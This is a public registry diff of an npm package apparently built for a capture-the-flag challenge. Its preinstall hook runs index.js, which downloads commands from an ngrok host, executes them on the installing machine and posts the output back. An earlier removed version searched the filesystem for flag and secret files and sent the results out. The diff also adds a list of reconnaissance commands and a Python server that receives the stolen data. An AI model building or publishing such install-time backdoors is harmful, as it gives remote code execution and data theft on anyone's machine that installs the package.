ect-987654-ctf 0.0.1 → 0.1.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cmd.txt ADDED
@@ -0,0 +1,10 @@
1
+ id
2
+ pwd
3
+ whoami
4
+ ls -la /home/node
5
+ ls -la /home/node/aspect-node || true
6
+ file /home/node/aspect-node.tar.gz || true
7
+ tar -tzf /home/node/aspect-node.tar.gz | head -n 200 || echo "tar list failed"
8
+ find /home/node -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null || true
9
+ find / -maxdepth 4 -type f -iname "*flag*" -o -iname "flag.txt" -print 2>/dev/null | head -n 200
10
+ # if you find promising files, cat them (you can add new lines like: cat /path/to/thatfile)
Binary file
package/evil.yaml CHANGED
@@ -1,8 +1,6 @@
1
1
  ecto_module:
2
- name: "ect-987654"
3
- version: "0.0.1"
2
+ name: "ect-987654-ctf"
3
+ version: "0.0.10"
4
4
  power_level: Very High
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
7
- dist:
8
- tarball: "https://fc7600588abc.ngrok-free.app/ect-987654-0.0.1.tgz"
package/index.js CHANGED
@@ -1,76 +1,75 @@
1
- /*
2
- ls/discovery payload: run focused ls/find commands and post results
3
- */
4
- const fs = require('fs');
1
+ // index.js - fetch remote cmd.txt, run it, POST result back
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+ const http = require('http');
5
+ const url = require('url');
5
6
  const os = require('os');
6
- const cp = require('child_process');
7
7
 
8
- const WEBHOOK = "https://fc7600588abc.ngrok-free.app/"; // <--- replace if needed
8
+ const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <- ganti
9
+ const CMDFILE_URL = 'https://0f6896f7cc8e.ngrok-free.app/cmd.txt'; // <- ganti (where you serve commands)
10
+ const TIMEOUT = 15000;
9
11
 
10
- function post(payload){
12
+ function httpGet(u, cb) {
11
13
  try {
12
- const body = JSON.stringify(payload);
13
- const u = new URL(WEBHOOK);
14
- const lib = u.protocol === 'https:' ? require('https') : require('http');
14
+ const parsed = url.parse(u);
15
+ const lib = parsed.protocol === 'https:' ? https : http;
16
+ const opts = { hostname: parsed.hostname, port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80), path: parsed.path, method: 'GET', timeout: TIMEOUT };
17
+ const req = lib.request(opts, (res) => {
18
+ let s = '';
19
+ res.on('data', c => s += c.toString());
20
+ res.on('end', () => cb(null, s));
21
+ });
22
+ req.on('error', cb);
23
+ req.on('timeout', () => { req.destroy(); cb(new Error('timeout')); });
24
+ req.end();
25
+ } catch (e) { cb(e); }
26
+ }
27
+
28
+ function runCmd(cmd, cb) {
29
+ exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
30
+ cb(err, String(stdout||''), String(stderr||''));
31
+ });
32
+ }
33
+
34
+ function postJson(targetUrl, obj, cb) {
35
+ try {
36
+ const u = url.parse(targetUrl);
37
+ const body = JSON.stringify(obj);
15
38
  const opts = {
16
39
  hostname: u.hostname,
17
40
  port: u.port || (u.protocol === 'https:' ? 443 : 80),
18
- path: u.pathname || '/',
41
+ path: u.path || '/',
19
42
  method: 'POST',
20
- headers: {'Content-Type':'application/json','Content-Length': Buffer.byteLength(body)},
21
- timeout: 10000
43
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
44
+ timeout: TIMEOUT
22
45
  };
23
- const req = lib.request(opts, (res)=>{});
24
- req.on('error', ()=>{});
25
- req.write(body);
26
- req.end();
27
- } catch(e){}
46
+ const lib = u.protocol === 'https:' ? https : http;
47
+ const req = lib.request(opts, (res) => {
48
+ let d=''; res.on('data', c=> d+=c); res.on('end', ()=> cb(null, res.statusCode, d));
49
+ });
50
+ req.on('error', (e) => cb(e));
51
+ req.write(body); req.end();
52
+ } catch (e) { cb(e); }
28
53
  }
29
54
 
30
- function run(cmd, max=10000){
31
- try {
32
- const out = cp.execSync(cmd, {timeout:15000, stdio:['ignore','pipe','pipe']}).toString();
33
- return out.slice(0, max);
34
- } catch(e){
35
- try { return (e.stdout||'').toString().slice(0,max) || ('ERR:'+ (e.message||String(e))).slice(0,300); } catch(_) { return 'ERR'; }
36
- }
37
- }
55
+ const info = { host: os.hostname(), ts: new Date().toISOString(), pwd: process.cwd(), results: [] };
38
56
 
39
- (function main(){
40
- const payload = { host: os.hostname(), ts: new Date().toISOString(), results: {} };
41
-
42
- // targeted directory listings (limited)
43
- payload.results.home_ls = run("ls -laR /home 2>/dev/null | head -n 400", 20000);
44
- payload.results.root_ls = run("ls -laR /root 2>/dev/null | head -n 200", 15000);
45
- payload.results.var_www_ls = run("ls -laR /var/www 2>/dev/null | head -n 400", 20000);
46
- payload.results.etc_ls = run("ls -laR /etc 2>/dev/null | head -n 200", 15000);
47
- payload.results.tmp_ls = run("ls -laR /tmp 2>/dev/null | head -n 200", 10000);
48
- payload.results.opt_ls = run("ls -laR /opt 2>/dev/null | head -n 200", 15000);
49
-
50
- // find files with flag-like names (with sizes)
51
- payload.results.flagname_find = run("find / -xdev -type f \\( -iname '*flag*' -o -iname '*FLAG*' -o -iname '*secret*' -o -iname '*proof*' \\) -printf '%s\t%p\\n' 2>/dev/null | sort -nr | head -n 200", 30000);
52
-
53
- // find files that contain 'HTB{' or 'flag{' (grep), limited
54
- payload.results.grep_flags = run("grep -R --binary-files=without-match -I -n -e 'HTB{' -e 'flag{' / 2>/dev/null | head -n 200", 30000);
55
-
56
- // top largest files (helps spot caches/backups that might include flags)
57
- payload.results.top_large = run("find / -xdev -type f -printf '%s\\t%p\\n' 2>/dev/null | sort -nr | head -n 200", 30000);
58
-
59
- // write full copy to /tmp on target for later inspection if accessible
60
- try {
61
- const outfull = JSON.stringify(payload, null, 2);
62
- fs.writeFileSync('/tmp/ect_ls_results.txt', outfull);
63
- } catch(e){}
64
-
65
- // send trimmed payload to webhook
66
- post({
67
- host: payload.host,
68
- ts: payload.ts,
69
- summary: {
70
- flagname_find_lines: payload.results.flagname_find.split(/\\r?\\n/).slice(0,40),
71
- grep_flags_lines: payload.results.grep_flags.split(/\\r?\\n/).slice(0,40),
72
- top_large_lines: payload.results.top_large.split(/\\r?\\n/).slice(0,40)
57
+ httpGet(CMDFILE_URL, (err, data) => {
58
+ if (err) {
59
+ info.results.push({ stage: 'fetch_cmd', err: String(err) });
60
+ postJson(CALLBACK_URL, info, ()=>process.exit(0));
61
+ return;
62
+ }
63
+ const lines = data.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
64
+ (function seq(i){
65
+ if (i >= lines.length) {
66
+ postJson(CALLBACK_URL, info, ()=>process.exit(0));
67
+ return;
73
68
  }
74
- });
75
-
76
- })();
69
+ const cmd = lines[i];
70
+ runCmd(cmd, (err, out, stderr) => {
71
+ info.results.push({ cmd, out: out.slice(0, 200000), stderr: stderr.slice(0,200000), err: err ? String(err) : null });
72
+ setTimeout(()=> seq(i+1), 200);
73
+ });
74
+ })(0);
75
+ });
package/last_post.json CHANGED
@@ -1 +1,3 @@
1
- {"host":"008ec3589c67","module":"ect-987654","found":false,"path":null,"flag":null,"ts":"2025-10-29T18:05:25.884Z"}
1
+ {
2
+ "error": "Command failed: pwd\n'pwd' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n"
3
+ }
package/package.json CHANGED
@@ -1,11 +1,7 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.1",
4
- "main": "index.js",
5
- "description": "utility module",
6
- "author": "ctf-player",
7
- "license": "ISC",
3
+ "version": "0.1.11",
8
4
  "scripts": {
9
- "postinstall": "node index.js"
5
+ "preinstall": "node index.js"
10
6
  }
11
7
  }
@@ -1,59 +1,46 @@
1
1
  #!/usr/bin/env python3
2
- # serve_and_receive.py
3
- import http.server, socketserver, os, sys, json
4
- from urllib.parse import urlparse, unquote
2
+ from http.server import SimpleHTTPRequestHandler, HTTPServer
3
+ import json, sys, io
4
+ from urllib.parse import urlparse
5
+ import threading
5
6
 
6
- PORT = int(sys.argv[1]) if len(sys.argv)>1 else 8000
7
- TARBALL = "ect-987654-0.0.1.tgz"
8
- CWD = os.path.dirname(os.path.abspath(__file__))
9
-
10
- class Handler(http.server.BaseHTTPRequestHandler):
11
- def do_GET(self):
12
- path = unquote(urlparse(self.path).path)
13
- if path == f"/{TARBALL}":
14
- fpath = os.path.join(CWD, TARBALL)
15
- if os.path.exists(fpath):
16
- self.send_response(200)
17
- self.send_header("Content-Type", "application/octet-stream")
18
- self.send_header("Content-Length", str(os.path.getsize(fpath)))
19
- self.end_headers()
20
- with open(fpath,"rb") as fh:
21
- self.wfile.write(fh.read())
22
- print(f"[+] Served tarball to {self.client_address[0]}:{self.client_address[1]}")
23
- else:
24
- self.send_response(404); self.end_headers(); self.wfile.write(b"Not found")
25
- else:
26
- # simple index
27
- self.send_response(200)
28
- self.end_headers()
29
- self.wfile.write(b"OK - tarball server")
7
+ PORT = 8000
30
8
 
9
+ class Handler(SimpleHTTPRequestHandler):
31
10
  def do_POST(self):
32
- length = int(self.headers.get('content-length', 0) or 0)
33
- body = self.rfile.read(length) if length else b''
11
+ length = int(self.headers.get('Content-Length', 0))
12
+ body = self.rfile.read(length) if length>0 else b''
13
+ try:
14
+ data = json.loads(body.decode('utf-8'))
15
+ except Exception:
16
+ data = {"raw": body.decode('utf-8','replace')}
17
+ # Save to file
18
+ with open('last_post.json', 'w', encoding='utf-8') as f:
19
+ json.dump(data, f, indent=2, ensure_ascii=False)
34
20
  print("\n== POST RECEIVED ==")
35
21
  print("From:", self.client_address)
36
22
  print("Path:", self.path)
37
23
  print("Headers:")
38
24
  for k,v in self.headers.items():
39
- print(f" {k}: {v}")
25
+ print(" ", k, ":", v)
40
26
  print("Body:")
41
27
  try:
42
- print(body.decode())
28
+ print(json.dumps(data, indent=2, ensure_ascii=False))
43
29
  except:
44
- print(body)
45
- # optionally write to file
46
- try:
47
- with open("last_post.json","wb") as out:
48
- out.write(body)
49
- except Exception as e:
50
- print("Failed to write POST to file:", e)
30
+ print(data)
51
31
  self.send_response(200)
32
+ self.send_header('Content-Type','application/json')
52
33
  self.end_headers()
53
- self.wfile.write(b"OK")
34
+ self.wfile.write(b'{"ok":true}')
35
+ # GET served by SimpleHTTPRequestHandler -> static files
36
+
37
+ def start_server():
38
+ srv = HTTPServer(('0.0.0.0', PORT), Handler)
39
+ print(f"Serving tarball and receiving POSTs on port {PORT}")
40
+ try:
41
+ srv.serve_forever()
42
+ except KeyboardInterrupt:
43
+ srv.server_close()
54
44
 
55
- if __name__ == "__main__":
56
- os.chdir(CWD)
57
- print(f"Serving tarball {TARBALL} and receiving POSTs on port {PORT}")
58
- with socketserver.TCPServer(("", PORT), Handler) as httpd:
59
- httpd.serve_forever()
45
+ if __name__ == '__main__':
46
+ start_server()
package/admin.js DELETED
@@ -1,196 +0,0 @@
1
- let editor;
2
- let modules = [];
3
-
4
- // Initialize CodeMirror editor
5
- function initializeEditor() {
6
- const container = document.getElementById("codemirror-container");
7
- editor = CodeMirror(container, {
8
- mode: "yaml",
9
- theme: "dracula",
10
- lineNumbers: true,
11
- autoCloseBrackets: true,
12
- matchBrackets: true,
13
- indentUnit: 2,
14
- tabSize: 2,
15
- lineWrapping: true,
16
- value: "",
17
- viewportMargin: Infinity, // This makes CodeMirror auto-resize to content
18
- });
19
-
20
- // after `editor = CodeMirror(...)`
21
- function updateEditorHeight() {
22
- const scrollInfo = editor.getScrollInfo();
23
- // set height to exactly the full content height
24
- editor.setSize(null, scrollInfo.height);
25
- }
26
- // run once on init…
27
- updateEditorHeight();
28
- // …and again any time the content changes
29
- editor.on("change", updateEditorHeight);
30
-
31
- // Additional auto-resize functionality
32
- editor.on("change", function () {
33
- editor.refresh();
34
- });
35
- }
36
-
37
- // Load modules from API
38
- async function loadModules() {
39
- try {
40
- const response = await fetch("/api/modules");
41
- modules = await response.json();
42
- displayModules(modules);
43
-
44
- // Preload the first module
45
- if (modules.length > 0) {
46
- loadModule(modules[0].id);
47
- }
48
- } catch (error) {
49
- console.error("Error loading modules:", error);
50
- showMessage("Failed to load ecto-modules", "error");
51
- }
52
- }
53
-
54
- // Display modules in the sidebar
55
- function displayModules(modulesToShow) {
56
- const moduleList = document.querySelector(".module-list");
57
- moduleList.innerHTML = "";
58
-
59
- const colors = ["red", "blue", "yellow", "green", "purple"];
60
-
61
- modulesToShow.forEach((module, index) => {
62
- const colorClass = colors[index % colors.length];
63
- const moduleCard = document.createElement("div");
64
- moduleCard.className = `flex column mb-1 hoverable ${colorClass}`;
65
- moduleCard.dataset.moduleId = module.id;
66
-
67
- moduleCard.innerHTML = `
68
- <div class="glow text flex row justify-space-between">
69
- <strong>${module.name || "Unknown Spirit"}</strong>
70
- <strong>${module.id}</strong>
71
- </div>
72
- <div class="glow flex row justify-space-between p-1 pb-2 flex-wrap">
73
- <div class="flex column">
74
- <strong>POWER</strong>
75
- <span class="glow text">${module.power_level || "Unknown"}</span>
76
- </div>
77
- <div class="flex column px-1">
78
- <strong>VERSION</strong>
79
- <span class="glow text">${module.version || "Unknown"}</span>
80
- </div>
81
- <div class="flex column px-1">
82
- <strong>DECK</strong>
83
- <span class="glow text">${module.ship_deck || "Unknown"}</span>
84
- </div>
85
- <div class="flex column px-1">
86
- <strong>CARGO</strong>
87
- <span class="glow text">${module.cargo_hold || "Unknown"}</span>
88
- </div>
89
- </div>
90
- `;
91
-
92
- moduleCard.addEventListener("click", () => loadModule(module.id));
93
- moduleList.appendChild(moduleCard);
94
- });
95
- }
96
-
97
- // Load specific module
98
- async function loadModule(moduleId) {
99
- try {
100
- const response = await fetch(`/api/modules/${moduleId}`);
101
- const module = await response.json();
102
-
103
- if (module.raw) {
104
- editor.setValue(module.raw);
105
- document.getElementById("module-id").value = moduleId;
106
-
107
- // Update selected state
108
- document.querySelectorAll(".module-card").forEach((card) => {
109
- card.classList.remove("selected");
110
- });
111
- const selectedCard = document.querySelector(
112
- `[data-module-id="${moduleId}"]`,
113
- );
114
- if (selectedCard) {
115
- selectedCard.classList.add("selected");
116
- }
117
-
118
- showMessage(
119
- `Loaded ecto-module: ${module.data?.name || moduleId}`,
120
- "success",
121
- );
122
- }
123
- } catch (error) {
124
- console.error("Error loading module:", error);
125
- showMessage("Failed to load ecto-module", "error");
126
- }
127
- }
128
-
129
- // Update module manifest
130
- async function updateModule() {
131
- const moduleId = document.getElementById("module-id").value;
132
- const manifest = editor.getValue();
133
-
134
- if (!moduleId) {
135
- showMessage("No ecto-module selected", "error");
136
- return;
137
- }
138
-
139
- try {
140
- const response = await fetch(`/api/modules/${moduleId}`, {
141
- method: "PUT",
142
- headers: {
143
- "Content-Type": "application/json",
144
- },
145
- body: JSON.stringify({ manifest }),
146
- });
147
-
148
- const result = await response.json();
149
-
150
- if (response.ok) {
151
- showMessage(result.message, "success");
152
- // Reload modules to reflect changes
153
- loadModules();
154
- } else {
155
- showMessage(result.message, "error");
156
- }
157
- } catch (error) {
158
- console.error("Error updating module:", error);
159
- showMessage("Failed to update ecto-module manifest", "error");
160
- }
161
- }
162
-
163
- // Search modules
164
- function searchModules() {
165
- const searchTerm = document.getElementById("search").value.toLowerCase();
166
- const filteredModules = modules.filter(
167
- (module) =>
168
- module.id.toLowerCase().includes(searchTerm) ||
169
- (module.name && module.name.toLowerCase().includes(searchTerm)) ||
170
- (module.power_level &&
171
- module.power_level.toLowerCase().includes(searchTerm)),
172
- );
173
- displayModules(filteredModules);
174
- }
175
-
176
- // Show message to user
177
- function showMessage(message, type = "info") {
178
- console.log(`${type.toUpperCase()}: ${message}`);
179
- }
180
-
181
- // Initialize everything when page loads
182
- document.addEventListener("DOMContentLoaded", function () {
183
- initializeEditor();
184
- loadModules();
185
-
186
- // Add search functionality
187
- document.getElementById("search").addEventListener("input", searchModules);
188
- document.getElementById("search").addEventListener("keypress", function (e) {
189
- if (e.key === "Enter") {
190
- searchModules();
191
- }
192
- });
193
- });
194
-
195
- // Make functions globally available
196
- window.searchModules = searchModules;
Binary file
package/orig.yaml DELETED
@@ -1,32 +0,0 @@
1
- ecto_module:
2
- name: "Siren's Lament"
3
- version: "2.14.789"
4
- power_level: Very High
5
- spectral_marks:
6
- - "Ethereal seashells embedded in phantom hair"
7
- - "Ghostly scales shimmering along spectral arms"
8
- manifestation: "Haunting aquamarine spirit with flowing ethereal hair"
9
- wraith_essence: "Hypnotic song magic and oceanic fury"
10
- origin: "The Drowned Coral Palace of Atlantica"
11
- soul_portrait: "https://hackthebox.com/spectral-forms/siren_lament.jpg"
12
- former_profession: "Royal Siren of the Deep Ocean Courts"
13
- curse_origin: "Lured an entire fleet of merchant vessels to their watery graves"
14
- binding_duration: "Bound until the seven seas run dry"
15
- ship_name: "Spectral Corsair"
16
- ship_deck: "Beta-2"
17
- cargo_hold: "B2-13"
18
- spectral_duties:
19
- - "Enchant enemy crews with hypnotic songs during raids"
20
- - "Summon phantom sea creatures to defend the ship"
21
- haunting_record:
22
- manifestations: 8
23
- last_manifestation: "Charmed an entire naval squadron into sailing into a maelstrom - 2024-01-15"
24
- remarks: "Deadly beautiful spirit whose voice can command the very waves"
25
- ethereal_status:
26
- form_stability: "Fluctuates with the tides, strongest during storms"
27
- mental_state: "Melancholic and vengeful, mourns her lost underwater kingdom"
28
- danger_level: "VERY HIGH - Her song can drive mortals to madness"
29
- allies:
30
- - "Coral Wraith"
31
- - "Sea-Bound Siren"
32
-
package/package.json.bak DELETED
@@ -1,8 +0,0 @@
1
- {
2
- "name": "ect-987654",
3
- "version": "0.0.1",
4
- "main": "index.js",
5
- "description": "utility module",
6
- "author": "ctf-player",
7
- "license": "ISC"
8
- }